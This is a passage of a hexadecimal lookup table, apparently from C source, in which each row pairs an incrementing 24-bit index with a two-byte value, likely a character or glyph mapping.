0x3A, 0x7d, 0x0d,\r\n0x00, 0x0F, 0x3B, 0x7e, 0x0d,\r\n0x00, 0x0F, 0x3C, 0x7f, 0x0d,\r\n0x00, 0x0F, 0x3D, 0xe8, 0x04,\r\n0x00, 0x0F, 0x3E, 0x80, 0x0d,\r\n0x00, 0x0F, 0x3F, 0x81, 0x0d,\r\n0x00, 0x0F, 0x40, 0x82, 0x0d,\r\n0x00, 0x0F, 0x41, 0x83, 0x0d,\r\n0x00, 0x0F, 0x42, 0x84, 0x0d,\r\n0x00, 0x0F, 0x43, 0x85, 0x0d,\r\n0x00, 0x0F, 0x44, 0x86, 0x0d,\r\n0x00, 0x0F, 0x45, 0x87, 0x0d,\r\n0x00, 0x0F, 0x46, 0x88, 0x0d,\r\n0x00, 0x0F, 0x47, 0x89, 0x0d,\r\n0x00, 0x0F, 0x48, 0x8a, 0x0d,\r\n0x00, 0x0F, 0x49, 0x8b, 0x0d,\r\n0x00, 0x0F, 0x4A, 0x8c, 0x0d,\r\n0x00, 0x0F, 0x4B, 0x10, 0x00,\r\n0x00, 0x0F, 0x4C, 0x8d, 0x0d,\r\n0x00, 0x0F, 0x4D, 0x8e, 0x0d,\r\n0x00, 0x0F, 0x4E, 0x8f, 0x0d,\r\n0x00, 0x0F, 0x4F, 0x90, 0x0d,\r\n0x00, 0x0F, 0x50, 0x91, 0x0d,\r\n0x00, 0x0F, 0x51, 0x92, 0x0d,\r\n0x00, 0x0F, 0x52, 0x93, 0x0d,\r\n0x00, 0x0F, 0x53, 0x5a, 0x09,\r\n0x00, 0x0F, 0x54, 0x94, 0x0d,\r\n0x00, 0x0F, 0x55, 0x95, 0x0d,\r\n0x00, 0x0F, 0x56, 0x96, 0x0d,\r\n0x00, 0x0F, 0x57, 0x97, 0x0d,\r\n0x00, 0x0F, 0x58, 0x98, 0x0d,\r\n0x00, 0x0F, 0x59, 0x99, 0x0d,\r\n0x00, 0x0F, 0x5A, 0x9a, 0x0d,\r\n0x00, 0x0F, 0x5B, 0x9b, 0x0d,\r\n0x00, 0x0F, 0x5C, 0x9c, 0x0d,\r\n0x00, 0x0F, 0x5D, 0x9d, 0x0d,\r\n0x00, 0x0F, 0x5E, 0x9e, 0x0d,\r\n0x00, 0x0F, 0x5F, 0x9f, 0x0d,\r\n0x00, 0x0F, 0x60, 0xa0, 0x0d,\r\n0x00, 0x0F, 0x61, 0xc9, 0x01,\r\n0x00, 0x0F, 0x62, 0xa1, 0x0d,\r\n0x00, 0x0F, 0x63, 0xa2, 0x0d,\r\n0x00, 0x0F, 0x64, 0xa3, 0x0d,\r\n0x00, 0x0F, 0x65, 0xa4, 0x0d,\r\n0x00, 0x0F, 0x66, 0xf9, 0x0a,\r\n0x00, 0x0F, 0x67, 0xa5, 0x0d,\r\n0x00, 0x0F, 0x68, 0xa6, 0x0d,\r\n0x00, 0x0F, 0x69, 0xa7, 0x0d,\r\n0x00, 0x0F, 0x6A, 0x69, 0x01,\r\n0x00, 0x0F, 0x6B, 0xa8, 0x0d,\r\n0x00, 0x0F, 0x6C, 0xa9, 0x0d,\r\n0x00, 0x0F, 0x6D, 0xaa, 0x0d,\r\n0x00, 0x0F, 0x6E, 0xab, 0x0d,\r\n0x00, 0x0F, 0x6F, 0xac, 0x0d,\r\n0x00, 0x0F, 0x70, 0xad, 0x0d,\r\n0x00, 0x0F, 0x71, 0xae, 0x0d,\r\n0x00, 0x0F, 0x72, 0xaf, 0x0d,\r\n0x00, 0x0F, 0x73, 0xb0, 0x0d,\r\n0x00, 0x0F, 0x74, 0xb1, 0x0d,\r\n0x00, 0x0F, 0x75, 0xb2, 0x0d,\r\n0x00, 0x0F, 0x76, 0xb3, 0x0d,\r\n0x00, 0x0F, 0x77, 0xb4, 0x0d,\r\n0x00, 0x0F, 0x78, 0xb5, 0x0d,\r\n0x00, 0x0F, 0x79, 0xb6, 0x0d,\r\n0x00, 0x0F, 0x7A, 0xb1, 0x0c,\r\n0x00, 0x0F, 0x7B, 0xb7, 0x0d,\r\n0x00, 0x0F, 0x7C, 0xb8, 0x0d,\r\n0x00, 0x0F, 0x7D, 0xb9, 0x0d,\r\n0x00, 0x0F, 0x7E, 0xba, 0x0d,\r\n0x00, 0x0F, 0x7F, 0xbb, 0x0d,\r\n0x00, 0x0F, 0x80, 0xbc, 0x0d,\r\n0x00, 0x0F, 0x81, 0xbd, 0x0d,\r\n0x00, 0x0F, 0x82, 0xbe, 0x0d,\r\n0x00, 0x0F, 0x83, 0xbf, 0x0d,\r\n0x00, 0x0F, 0x84, 0xc0, 0x0d,\r\n0x00, 0x0F, 0x85, 0xc1, 0x0d,\r\n0x00, 0x0F, 0x86, 0xc2, 0x0d,\r\n0x00, 0x0F, 0x87, 0xc3, 0x0d,\r\n0x00, 0x0F, 0x88, 0xc4, 0x0d,\r\n0x00, 0x0F, 0x89, 0xc5, 0x0d,\r\n0x00, 0x0F, 0x8A, 0xc6, 0x0d,\r\n0x00, 0x0F, 0x8B, 0xc7, 0x0d,\r\n0x00, 0x0F, 0x8C, 0xc8, 0x0d,\r\n0x00, 0x0F, 0x8D, 0xc9, 0x0d,\r\n0x00, 0x0F, 0x8E, 0x50, 0x06,\r\n0x00, 0x0F, 0x8F, 0x05, 0x00,\r\n0x00, 0x0F, 0x90, 0x05, 0x00,\r\n0x00, 0x0F, 0x91, 0xca, 0x0d,\r\n0x00, 0x0F, 0x92, 0xcb, 0x0d,\r\n0x00, 0x0F, 0x93, 0xcc, 0x0d,\r\n0x00, 0x0F, 0x94, 0x9d, 0x0d,\r\n0x00, 0x0F, 0x95, 0xcd, 0x0d,\r\n0x00, 0x0F, 0x96, 0x18, 0x00,\r\n0x00, 0x0F, 0x97, 0xce, 0x0d,\r\n0x00, 0x0F, 0x98, 0xcf, 0x0d,\r\n0x00, 0x0F, 0x99, 0xd0, 0x0d,\r\n0x00, 0x0F, 0x9A, 0xe4, 0x04,\r\n0x00, 0x0F, 0x9B, 0xd1, 0x0d,\r\n0x00, 0x0F, 0x9C, 0xd2, 0x0d,\r\n0x00, 0x0F, 0x9D, 0xd3, 0x0d,\r\n0x00, 0x0F, 0x9E, 0xd4, 0x0d,\r\n0x00, 0x0F, 0x9F, 0xb9, 0x00,\r\n0x00, 0x0F, 0xA0, 0xd5, 0x0d,\r\n0x00, 0x0F, 0xA1, 0xd6, 0x0d,\r\n0x00, 0x0F, 0xA2, 0xd7, 0x0d,\r\n0x00, 0x0F, 0xA3, 0xd8, 0x0d,\r\n0x00, 0x0F, 0xA4, 0xd9, 0x0d,\r\n0x00, 0x0F, 0xA5, 0xda, 0x0d,\r\n0x00, 0x0F, 0xA6, 0xdb, 0x0d,\r\n0x00, 0x0F, 0xA7, 0xdc, 0x0d,\r\n0x00, 0x0F, 0xA8, 0xdd, 0x0d,\r\n0x00, 0x0F, 0xA9, 0xde, 0x0d,\r\n0x00, 0x0F, 0xAA, 0xdf, 0x0d,\r\n0x00, 0x0F, 0xAB, 0xe0, 0x0d,\r\n0x00, 0x0F, 0xAC, 0xe1, 0x0d,\r\n0x00, 0x0F, 0xAD, 0xe2, 0x0d,\r\n0x00, 0x0F, 0xAE, 0xe3, 0x0d,\r\n0x00, 0x0F, 0xAF, 0xe4, 0x0d,\r\n0x00, 0x0F, 0xB0, 0x1c, 0x02,\r\n0x00, 0x0F, 0xB1, 0xe5, 0x0d,\r\n0x00, 0x0F, 0xB2, 0xe6, 0x0d,\r\n0x00, 0x0F, 0xB3, 0xe7, 0x0d,\r\n0x00, 0x0F, 0xB4, 0xe8, 0x0d,\r\n0x00, 0x0F, 0xB5, 0x68, 0x08,\r\n0x00, 0x0F, 0xB6, 0xe9, 0x0d,\r\n0x00, 0x0F, 0xB7, 0xea, 0x0d,\r\n0x00, 0x0F, 0xB8, 0xeb, 0x0d,\r\n0x00, 0x0F, 0xB9, 0x86, 0x0c,\r\n0x00, 0x0F, 0xBA, 0xec, 0x0d,\r\n0x00, 0x0F, 0xBB, 0xed, 0x0d,\r\n0x00, 0x0F, 0xBC, 0xee, 0x0d,\r\n0x00, 0x0F, 0xBD, 0xef, 0x0d,\r\n0x00, 0x0F, 0xBE, 0xf0, 0x0d,\r\n0x00, 0x0F, 0xBF, 0xf1, 0x0d,\r\n0x00, 0x0F, 0xC0, 0xf2, 0x0d,\r\n0x00, 0x0F, 0xC1, 0xf3, 0x0d,\r\n0x00, 0x0F, 0xC2, 0xf4, 0x0d,\r\n0x00, 0x0F, 0xC3, 0xf5, 0x0d,\r\n0x00, 0x0F, 0xC4, 0xf6, 0x0d,\r\n0x00, 0x0F, 0xC5, 0xf7, 0x0d,\r\n0x00, 0x0F, 0xC6, 0xf8, 0x0d,\r\n0x00, 0x0F, 0xC7, 0xf9, 0x0d,\r\n0x00, 0x0F, 0xC8, 0xfa, 0x0d,\r\n0x00, 0x0F, 0xC9, 0xfb, 0x0d,\r\n0x00, 0x0F, 0xCA, 0xfc, 0x0d,\r\n0x00, 0x0F, 0xCB, 0xf2, 0x00,\r\n0x00, 0x0F, 0xCC, 0xb9, 0x00,\r\n0x00, 0x0F, 0xCD, 0x69, 0x01,\r\n0x00, 0x0F, 0xCE, 0xfd, 0x0d,\r\n0x00, 0x0F, 0xCF, 0xfe, 0x0d,\r\n0x00, 0x0F, 0xD0, 0xff, 0x0d,\r\n0x00, 0x0F, 0xD1, 0x00, 0x0e,\r\n0x00, 0x0F, 0xD2, 0x01, 0x0e,\r\n0x00, 0x0F, 0xD3, 0x02, 0x0e,\r\n0x00, 0x0F, 0xD4, 0x03, 0x0e,\r\n0x00, 0x0F, 0xD5, 0x04, 0x0e,\r\n0x00, 0x0F, 0xD6, 0x05, 0x0e,\r\n0x00, 0x0F, 0xD7, 0x06, 0x0e,\r\n0x00, 0x0F, 0xD8, 0x07, 0x0e,\r\n0x00, 0x0F, 0xD9, 0x08, 0x0e,\r\n0x00, 0x0F, 0xDA, 0x09, 0x0e,\r\n0x00, 0x0F, 0xDB, 0x0a, 0x0e,\r\n0x00, 0x0F, 0xDC, 0x0b, 0x0e,\r\n0x00, 0x0F, 0xDD, 0x0c, 0x0e,\r\n0x00, 0x0F, 0xDE, 0xbe, 0x09,\r\n0x00, 0x0F, 0xDF, 0x0d, 0x0e,\r\n0x00, 0x0F, 0xE0, 0x0e, 0x0e,\r\n0x00, 0x0F, 0xE1, 0x0f, 0x0e,\r\n0x00, 0x0F, 0xE2, 0x10, 0x0e,\r\n0x00, 0x0F, 0xE3, 0x11, 0x0e,\r\n0x00, 0x0F, 0xE4, 0x12, 0x0e,\r\n0x00, 0x0F, 0xE5, 0x13, 0x0e,\r\n0x00, 0x0F, 0xE6, 0x14, 0x0e,\r\n0x00, 0x0F, 0xE7, 0x15, 0x0e,\r\n0x00, 0x0F, 0xE8, 0x16, 0x0e,\r\n0x00, 0x0F, 0xE9, 0x17, 0x0e,\r\n0x00, 0x0F, 0xEA, 0xf4, 0x0b,\r\n0x00, 0x0F, 0xEB, 0x18, 0x0e,\r\n0x00, 0x0F, 0xEC, 0x19, 0x0e,\r\n0x00, 0x0F, 0xED, 0x1a, 0x0e,\r\n0x00, 0x0F, 0xEE, 0x1b, 0x0e,\r\n0x00, 0x0F, 0xEF, 0x1c, 0x0e,\r\n0x00, 0x0F, 0xF0, 0x1d, 0x0e,\r\n0x00, 0x0F, 0xF1, 0x1e, 0x0e,\r\n0x00, 0x0F, 0xF2, 0x1f, 0x0e,\r\n0x00, 0x0F, 0xF3, 0x20, 0x0e,\r\n0x00, 0x0F, 0xF4, 0x21, 0x0e,\r\n0x00, 0x0F, 0xF5, 0x22, 0x0e,\r\n0x00, 0x0F, 0xF6, 0x23, 0x0e,\r\n0x00, 0x0F, 0xF7, 0x05, 0x00,\r\n0x00, 0x0F, 0xF8, 0x05, 0x00,\r\n0x00, 0x0F, 0xF9, 0x24, 0x0e,\r\n0x00, 0x0F, 0xFA, 0x25, 0x0e,\r\n0x00, 0x0F, 0xFB, 0x86, 0x03,\r\n0x00, 0x0F, 0xFC, 0x26, 0x0e,\r\n0x00, 0x0F, 0xFD, 0x27, 0x0e,\r\n0x00, 0x0F, 0xFE, 0x28, 0x0e,\r\n0x00, 0x0F, 0xFF, 0x29, 0x0e,\r\n0x00, 0x10, 0x00, 0x2a, 0x0e,\r\n0x00, 0x10, 0x01, 0x2b, 0x0e,\r\n0x00, 0x10, 0x02, 0x2c, 0x0e,\r\n0x00, 0x10, 0x03, 0x2d, 0x0e,\r\n0x00, 0x10, 0x04, 0x2e, 0x0e,\r\n0x00, 0x10, 0x05, 0x2f, 0x0e,\r\n0x00, 0x10, 0x06, 0x30, 0x0e,\r\n0x00, 0x10, 0x07, 0x31, 0x0e,\r\n0x00, 0x10, 0x08, 0x32, 0x0e,\r\n0x00, 0x10, 0x09, 0x33, 0x0e,\r\n0x00, 0x10, 0x0A, 0x34, 0x0e,\r\n0x00, 0x10, 0x0B, 0x05, 0x00,\r\n0x00, 0x10, 0x0C, 0x35, 0x0e,\r\n0x00, 0x10, 0x0D, 0x31, 0x0e,\r\n0x00, 0x10, 0x0E, 0x36, 0x0e,\r\n0x00, 0x10, 0x0F, 0xf6, 0x09,\r\n0x00, 0x10, 0x10, 0x37, 0x0e,\r\n0x00, 0x10, 0x11, 0x31, 0x0e,\r\n0x00, 0x10, 0x12, 0x38, 0x0e,\r\n0x00, 0x10, 0x13, 0x39, 0x0e,\r\n0x00, 0x10, 0x14, 0x05, 0x00,\r\n0x00, 0x10, 0x15, 0x3a, 0x0e,\r\n0x00, 0x10, 0x16, 0x3b, 0x0e,\r\n0x00, 0x10, 0x17, 0x3c, 0x0e,\r\n0x00, 0x10, 0x18, 0x35, 0x05,\r\n0x00, 0x10, 0x19, 0x3d, 0x0e,\r\n0x00, 0x10, 0x1A, 0x3e, 0x0e,\r\n0x00, 0x10, 0x1B, 0xeb, 0x02,\r\n0x00, 0x10, 0x1C, 0x3f, 0x0e,\r\n0x00, 0x10, 0x1D, 0x40, 0x0e,\r\n0x00, 0x10, 0x1E, 0xdd, 0x00,\r\n0x00, 0x10, 0x1F, 0x31, 0x0e,\r\n0x00, 0x10, 0x20, 0x41, 0x0e,\r\n0x00, 0x10, 0x21, 0x42, 0x0e,\r\n0x00, 0x10, 0x22, 0x43, 0x0e,\r\n0x00, 0x10, 0x23, 0xfb, 0x01,\r\n0x00, 0x10, 0x24, 0x44, 0x0e,\r\n0x00, 0x10, 0x25, 0x45, 0x0e,\r\n0x00, 0x10, 0x26, 0x46, 0x0e,\r\n0x00, 0x10, 0x27, 0x70, 0x02,\r\n0x00, 0x10, 0x28, 0x63, 0x00,\r\n0x00, 0x10, 0x29, 0x31, 0x0e,\r\n0x00, 0x10, 0x2A, 0x47, 0x0e,\r\n0x00, 0x10, 0x2B, 0x48, 0x0e,\r\n0x00, 0x10, 0x2C, 0x49, 0x0e,\r\n0x00, 0x10, 0x2D, 0x0f, 0x08,\r\n0x00, 0x10, 0x2E, 0x31, 0x0b,\r\n0x00, 0x10, 0x2F, 0x31, 0x0e,\r\n0x00, 0x10, 0x30, 0x4a, 0x0e,\r\n0x00, 0x10, 0x31, 0x4b, 0x0e,\r\n0x00, 0x10, 0x32, 0x4c, 0x0e,\r\n0x00, 0x10, 0x33, 0x4d, 0x0e,\r\n0x00, 0x10, 0x34, 0x4e, 0x0e,\r\n0x00, 0x10, 0x35, 0xee, 0x06,\r\n0x00, 0x10, 0x36, 0x4f, 0x0e,\r\n0x00, 0x10, 0x37, 0x50, 0x0e,\r\n0x00, 0x10, 0x38, 0x51, 0x0e,\r\n0x00, 0x10, 0x39, 0x52, 0x0e,\r\n0x00, 0x10, 0x3A, 0x53, 0x0e,\r\n0x00, 0x10, 0x3B, 0x54, 0x0e,\r\n0x00, 0x10, 0x3C, 0x55, 0x0e,\r\n0x00, 0x10, 0x3D, 0x56, 0x0e,\r\n0x00, 0x10, 0x3E, 0x57, 0x0e,\r\n0x00, 0x10, 0x3F, 0x58, 0x0e,\r\n0x00, 0x10, 0x40, 0x59, 0x0e,\r\n0x00, 0x10, 0x41, 0x5a, 0x0e,\r\n0x00, 0x10, 0x42, 0x5b, 0x0e,\r\n0x00, 0x10, 0x43, 0x5c, 0x0e,\r\n0x00, 0x10, 0x44, 0x5d, 0x0e,\r\n0x00, 0x10, 0x45, 0x69, 0x01,\r\n0x00, 0x10, 0x46, 0x5e, 0x0e,\r\n0x00, 0x10, 0x47, 0x5f, 0x0e,\r\n0x00, 0x10, 0x48, 0x60, 0x0e,\r\n0x00, 0x10, 0x49, 0x61, 0x0e,\r\n0x00, 0x10, 0x4A, 0x62, 0x0e,\r\n0x00, 0x10, 0x4B, 0x63, 0x0e,\r\n0x00, 0x10, 0x4C, 0xfc, 0x00,\r\n0x00, 0x10, 0x4D, 0x64, 0x0e,\r\n0x00, 0x10, 0x4E, 0x65, 0x0e,\r\n0x00, 0x10, 0x4F, 0x10, 0x00,\r\n0x00, 0x10, 0x50, 0x66, 0x0e,\r\n0x00, 0x10, 0x51, 0x67, 0x0e,\r\n0x00, 0x10, 0x52, 0x68, 0x0e,\r\n0x00, 0x10, 0x53, 0x63, 0x00,\r\n0x00, 0x10, 0x54, 0x05, 0x00,\r\n0x00, 0x10, 0x55, 0x69, 0x0e,\r\n0x00, 0x10, 0x56, 0x6a, 0x0e,\r\n0x00, 0x10, 0x57, 0x6b, 0x0e,\r\n0x00, 0x10, 0x58, 0x6c, 0x0e,\r\n0x00, 0x10, 0x59, 0x6d, 0x0e,\r\n0x00, 0x10, 0x5A, 0x6e, 0x0e,\r\n0x00, 0x10, 0x5B, 0x6f, 0x0e,\r\n0x00, 0x10, 0x5C, 0x03, 0x07,\r\n0x00, 0x10, 0x5D, 0x70, 0x0e,\r\n0x00, 0x10, 0x5E, 0x71, 0x0e,\r\n0x00, 0x10, 0x5F, 0x72, 0x0e,\r\n0x00, 0x10, 0x60, 0x73, 0x0e,\r\n0x00, 0x10, 0x61, 0x74, 0x0e,\r\n0x00, 0x10, 0x62, 0x75, 0x0e,\r\n0x00, 0x10, 0x63, 0x76, 0x0e,\r\n0x00, 0x10, 0x64, 0x77, 0x0e,\r\n0x00, 0x10, 0x65, 0x78, 0x0e,\r\n0x00, 0x10, 0x66, 0xf7, 0x01,\r\n0x00, 0x10, 0x67, 0xce, 0x01,\r\n0x00, 0x10, 0x68, 0x79, 0x0e,\r\n0x00, 0x10, 0x69, 0x7a, 0x0e,\r\n0x00, 0x10, 0x6A, 0x64, 0x0a,\r\n0x00, 0x10, 0x6B, 0x7b, 0x0e,\r\n0x00, 0x10, 0x6C, 0x7c, 0x0e,\r\n0x00, 0x10, 0x6D, 0x7d, 0x0e,\r\n0x00, 0x10, 0x6E, 0x7e, 0x0e,\r\n0x00, 0x10, 0x6F, 0x7f, 0x0e,\r\n0x00, 0x10, 0x70, 0x80, 0x0e,\r\n0x00, 0x10, 0x71, 0x81, 0x0e,\r\n0x00, 0x10, 0x72, 0x82, 0x0e,\r\n0x00, 0x10, 0x73, 0x83, 0x0e,\r\n0x00, 0x10, 0x74, 0x84, 0x0e,\r\n0x00, 0x10, 0x75, 0x85, 0x0e,\r\n0x00, 0x10, 0x76, 0x86, 0x0e,\r\n0x00, 0x10, 0x77, 0x87, 0x0e,\r\n0x00, 0x10, 0x78, 0x88, 0x0e,\r\n0x00, 0x10, 0x79, 0x89, 0x0e,\r\n0x00, 0x10, 0x7A, 0x8a, 0x0e,\r\n0x00, 0x10, 0x7B, 0x05, 0x00,\r\n0x00, 0x10, 0x7C, 0x8b, 0x0e,\r\n0x00, 0x10, 0x7D, 0x8c, 0x0e,\r\n0x00, 0x10, 0x7E, 0x8d, 0x0e,\r\n0x00, 0x10, 0x7F, 0x8e, 0x0e,\r\n0x00, 0x10, 0x80, 0x8f, 0x0e,\r\n0x00, 0x10, 0x81, 0x90, 0x0e,\r\n0x00, 0x10, 0x82, 0x91, 0x0e,\r\n0x00, 0x10, 0x83, 0x92, 0x0e,\r\n0x00, 0x10, 0x84, 0x93, 0x0e,\r\n0x00, 0x10, 0x85, 0x94, 0x0e,\r\n0x00, 0x10, 0x86, 0x95, 0x0e,\r\n0x00, 0x10, 0x87, 0x96, 0x0e,\r\n0x00, 0x10, 0x88, 0x36, 0x06,\r\n0x00, 0x10, 0x89, 0x97, 0x0e,\r\n0x00, 0x10, 0x8A, 0x98, 0x0e,\r\n0x00, 0x10, 0x8B, 0x99, 0x0e,\r\n0x00, 0x10, 0x8C, 0xc5, 0x09,\r\n0x00, 0x10, 0x8D, 0x9a, 0x0e,\r\n0x00, 0x10, 0x8E, 0x9b, 0x0e,\r\n0x00, 0x10, 0x8F, 0x9c, 0x0e,\r\n0x00, 0x10, 0x90, 0x9d, 0x0e,\r\n0x00, 0x10, 0x91, 0x9e, 0x0e,\r\n0x00, 0x10, 0x92, 0x9f, 0x0e,\r\n0x00, 0x10, 0x93, 0xa0, 0x0e,\r\n0x00, 0x10, 0x94, 0xa1, 0x0e,\r\n0x00, 0x10, 0x95, 0x17, 0x07,\r\n0x00, 0x10, 0x96, 0xa2, 0x0e,\r\n0x00, 0x10, 0x97, 0xa3, 0x0e,\r\n0x00, 0x10, 0x98, 0xa4, 0x0e,\r\n0x00, 0x10, 0x99, 0xf6, 0x04,\r\n0x00, 0x10, 0x9A, 0xa5, 0x0e,\r\n0x00, 0x10, 0x9B, 0x2b, 0x09,\r\n0x00, 0x10, 0x9C, 0xa6, 0x0e,\r\n0x00, 0x10, 0x9D, 0xa7, 0x0e,\r\n0x00, 0x10, 0x9E, 0xa8, 0x0e,\r\n0x00, 0x10, 0x9F, 0xa9, 0x0e,\r\n0x00, 0x10, 0xA0, 0xaa, 0x0e,\r\n0x00, 0x10, 0xA1, 0xab, 0x0e,\r\n0x00, 0x10, 0xA2, 0xac, 0x0e,\r\n0x00, 0x10, 0xA3, 0xf8, 0x05,\r\n0x00, 0x10, 0xA4, 0xad, 0x0e,\r\n0x00, 0x10, 0xA5, 0xae, 0x0e,\r\n0x00, 0x10, 0xA6, 0x05, 0x00,\r\n0x00, 0x10, 0xA7, 0x8d, 0x01,\r\n0x00, 0x10, 0xA8, 0xaf, 0x0e,\r\n0x00, 0x10, 0xA9, 0xb0, 0x0e,\r\n0x00, 0x10, 0xAA, 0xb1, 0x0e,\r\n0x00, 0x10, 0xAB, 0xb2, 0x0e,\r\n0x00, 0x10, 0xAC, 0xb3, 0x0e,\r\n0x00, 0x10, 0xAD, 0xb4, 0x0e,\r\n0x00, 0x10, 0xAE, 0xb5, 0x0e,\r\n0x00, 0x10, 0xAF, 0xb6, 0x0e,\r\n0x00, 0x10, 0xB0, 0xb7, 0x0e,\r\n0x00, 0x10, 0xB1, 0xb8, 0x0e,\r\n0x00, 0x10, 0xB2, 0xb9, 0x0e,\r\n0x00, 0x10, 0xB3, 0xba, 0x0e,\r\n0x00, 0x10, 0xB4, 0xbb, 0x0e,\r\n0x00, 0x10, 0xB5, 0xda, 0x00,\r\n0x00, 0x10, 0xB6, 0xbc, 0x0e,\r\n0x00, 0x10, 0xB7, 0xbd, 0x0e,\r\n0x00, 0x10, 0xB8, 0xbe, 0x0e,\r\n0x00, 0x10, 0xB9, 0xbf, 0x0e,\r\n0x00, 0x10, 0xBA, 0xc0, 0x0e,\r\n0x00, 0x10, 0xBB, 0xc1, 0x0e,\r\n0x00, 0x10, 0xBC, 0xc2, 0x0e,\r\n0x00, 0x10, 0xBD, 0xc3, 0x0e,\r\n0x00, 0x10, 0xBE, 0xc4, 0x0e,\r\n0x00, 0x10, 0xBF, 0xc5, 0x0e,\r\n0x00, 0x10, 0xC0, 0xc6, 0x0e,\r\n0x00, 0x10, 0xC1, 0xc7, 0x0e,\r\n0x00, 0x10, 0xC2, 0xc8, 0x0e,\r\n0x00, 0x10, 0xC3, 0xc9, 0x0e,\r\n0x00, 0x10, 0xC4, 0xca, 0x0e,\r\n0x00, 0x10, 0xC5, 0xcb, 0x0e,\r\n0x00, 0x10, 0xC6, 0x0a, 0x01,\r\n0x00, 0x10, 0xC7, 0xcc, 0x0e,\r\n0x00, 0x10, 0xC8, 0x5a, 0x08,\r\n0x00, 0x10, 0xC9, 0xb2, 0x00,\r\n0x00, 0x10, 0xCA, 0x18, 0x00,\r\n0x00, 0x10, 0xCB, 0xcd, 0x0e,\r\n0x00, 0x10, 0xCC, 0xce, 0x0e,\r\n0x00, 0x10, 0xCD, 0xaa, 0x08,\r\n0x00, 0x10, 0xCE, 0xcf, 0x0e,\r\n0x00, 0x10, 0xCF, 0xd0, 0x0e,\r\n0x00, 0x10, 0xD0, 0xd1, 0x0e,\r\n0x00, 0x10, 0xD1, 0xd2, 0x0e,\r\n0x00, 0x10, 0xD2, 0xd3, 0x0e,\r\n0x00, 0x10, 0xD3, 0xd4, 0x0e,\r\n0x00, 0x10, 0xD4, 0xd5, 0x0e,\r\n0x00, 0x10, 0xD5, 0xd6, 0x0e,\r\n0x00, 0x10, 0xD6, 0xd7, 0x0e,\r\n0x00, 0x10, 0xD7, 0xd8, 0x0e,\r\n0x00, 0x10, 0xD8, 0xd9, 0x0e,\r\n0x00, 0x10, 0xD9, 0xda, 0x0e,\r\n0x00, 0x10, 0xDA, 0xfa, 0x01,\r\n0x00, 0x10, 0xDB, 0x08, 0x05,\r\n0x00, 0x10, 0xDC, 0x28, 0x0b,\r\n0x00, 0x10, 0xDD, 0xdb, 0x0e,\r\n0x00, 0x10, 0xDE, 0xdf, 0x03,\r\n0x00, 0x10, 0xDF, 0xdc, 0x0e,\r\n0x00, 0x10, 0xE0, 0x10, 0x00,\r\n0x00, 0x10, 0xE1, 0xdd, 0x0e,\r\n0x00, 0x10, 0xE2, 0xde, 0x0e,\r\n0x00, 0x10, 0xE3, 0xc9, 0x01,\r\n0x00, 0x10, 0xE4, 0xdf, 0x0e,\r\n0x00, 0x10, 0xE5, 0x41, 0x0a,\r\n0x00, 0x10, 0xE6, 0xe0, 0x0e,\r\n0x00, 0x10, 0xE7, 0x3b, 0x04,\r\n0x00, 0x10, 0xE8, 0xe1, 0x0e,\r\n0x00, 0x10, 0xE9, 0xe2, 0x0e,\r\n0x00, 0x10, 0xEA, 0xe3, 0x0e,\r\n0x00, 0x10, 0xEB, 0xe4, 0x0e,\r\n0x00, 0x10, 0xEC, 0xe5, 0x0e,\r\n0x00, 0x10, 0xED, 0xe6, 0x0e,\r\n0x00, 0x10, 0xEE, 0xe7, 0x0e,\r\n0x00, 0x10, 0xEF, 0xe8, 0x0e,\r\n0x00, 0x10, 0xF0, 0xe9, 0x0e,\r\n0x00, 0x10, 0xF1, 0xea, 0x0e,\r\n0x00, 0x10, 0xF2, 0xeb, 0x0e,\r\n0x00, 0x10, 0xF3, 0xec, 0x0e,\r\n0x00, 0x10, 0xF4, 0xed, 0x0e,\r\n0x00, 0x10, 0xF5, 0xee, 0x0e,\r\n0x00, 0x10, 0xF6, 0x05, 0x00,\r\n0x00, 0x10, 0xF7, 0xef, 0x0e,\r\n0x00, 0x10, 0xF8, 0xda, 0x01,\r\n0x00, 0x10, 0xF9, 0xf0, 0x0e,\r\n0x00, 0x10, 0xFA, 0x51, 0x03,\r\n0x00, 0x10, 0xFB, 0xf1, 0x0e,\r\n0x00, 0x10, 0xFC, 0xe6, 0x0d,\r\n0x00, 0x10, 0xFD, 0xf2, 0x0e,\r\n0x00, 0x10, 0xFE, 0xdf, 0x01,\r\n0x00, 0x10, 0xFF, 0x05, 0x00,\r\n0x00, 0x11, 0x00, 0x4d, 0x00,\r\n0x00, 0x11, 0x01, 0xf3, 0x0e,\r\n0x00, 0x11, 0x02, 0xf4, 0x0e,\r\n0x00, 0x11, 0x03, 0xf5, 0x0e,\r\n0x00, 0x11, 0x04, 0xf6, 0x0e,\r\n0x00, 0x11, 0x05, 0xf7, 0x0e,\r\n0x00, 0x11, 0x06, 0xf8, 0x0e,\r\n0x00, 0x11, 0x07, 0xf9, 0x0e,\r\n0x00, 0x11, 0x08, 0xfa, 0x0e,\r\n0x00, 0x11, 0x09, 0x28, 0x0b,\r\n0x00, 0x11, 0x0A, 0xc9, 0x01,\r\n0x00, 0x11, 0x0B, 0xfb, 0x0e,\r\n0x00, 0x11, 0x0C, 0xfc, 0x0e,\r\n0x00, 0x11, 0x0D, 0xfd, 0x0e,\r\n0x00, 0x11, 0x0E, 0xfe, 0x0e,\r\n0x00, 0x11, 0x0F, 0xff, 0x0e,\r\n0x00, 0x11, 0x10, 0x00, 0x0f,\r\n0x00, 0x11, 0x11, 0x82, 0x02,\r\n0x00, 0x11, 0x12, 0xc2, 0x05,\r\n0x00, 0x11, 0x13, 0x01, 0x0f,\r\n0x00, 0x11, 0x14, 0x02, 0x0f,\r\n0x00, 0x11, 0x15, 0x03, 0x0f,\r\n0x00, 0x11, 0x16, 0x04, 0x0f,\r\n0x00, 0x11, 0x17, 0x05, 0x0f,\r\n0x00, 0x11, 0x18, 0x06, 0x0f,\r\n0x00, 0x11, 0x19, 0x07, 0x0f,\r\n0x00, 0x11, 0x1A, 0xb9, 0x00,\r\n0x00, 0x11, 0x1B, 0x08, 0x0f,\r\n0x00, 0x11, 0x1C, 0x09, 0x0f,\r\n0x00, 0x11, 0x1D, 0x0a, 0x0f,\r\n0x00, 0x11, 0x1E, 0x0b, 0x0f,\r\n0x00, 0x11, 0x1F, 0x0c, 0x0f,\r\n0x00, 0x11, 0x20, 0x05, 0x00,\r\n0x00, 0x11, 0x21, 0x05, 0x00,\r\n0x00, 0x11, 0x22, 0x0d, 0x0f,\r\n0x00, 0x11, 0x23, 0x0e, 0x0f,\r\n0x00, 0x11, 0x24, 0x51, 0x03,\r\n0x00, 0x11, 0x25, 0x2f, 0x02,\r\n0x00, 0x11, 0x26, 0x0f, 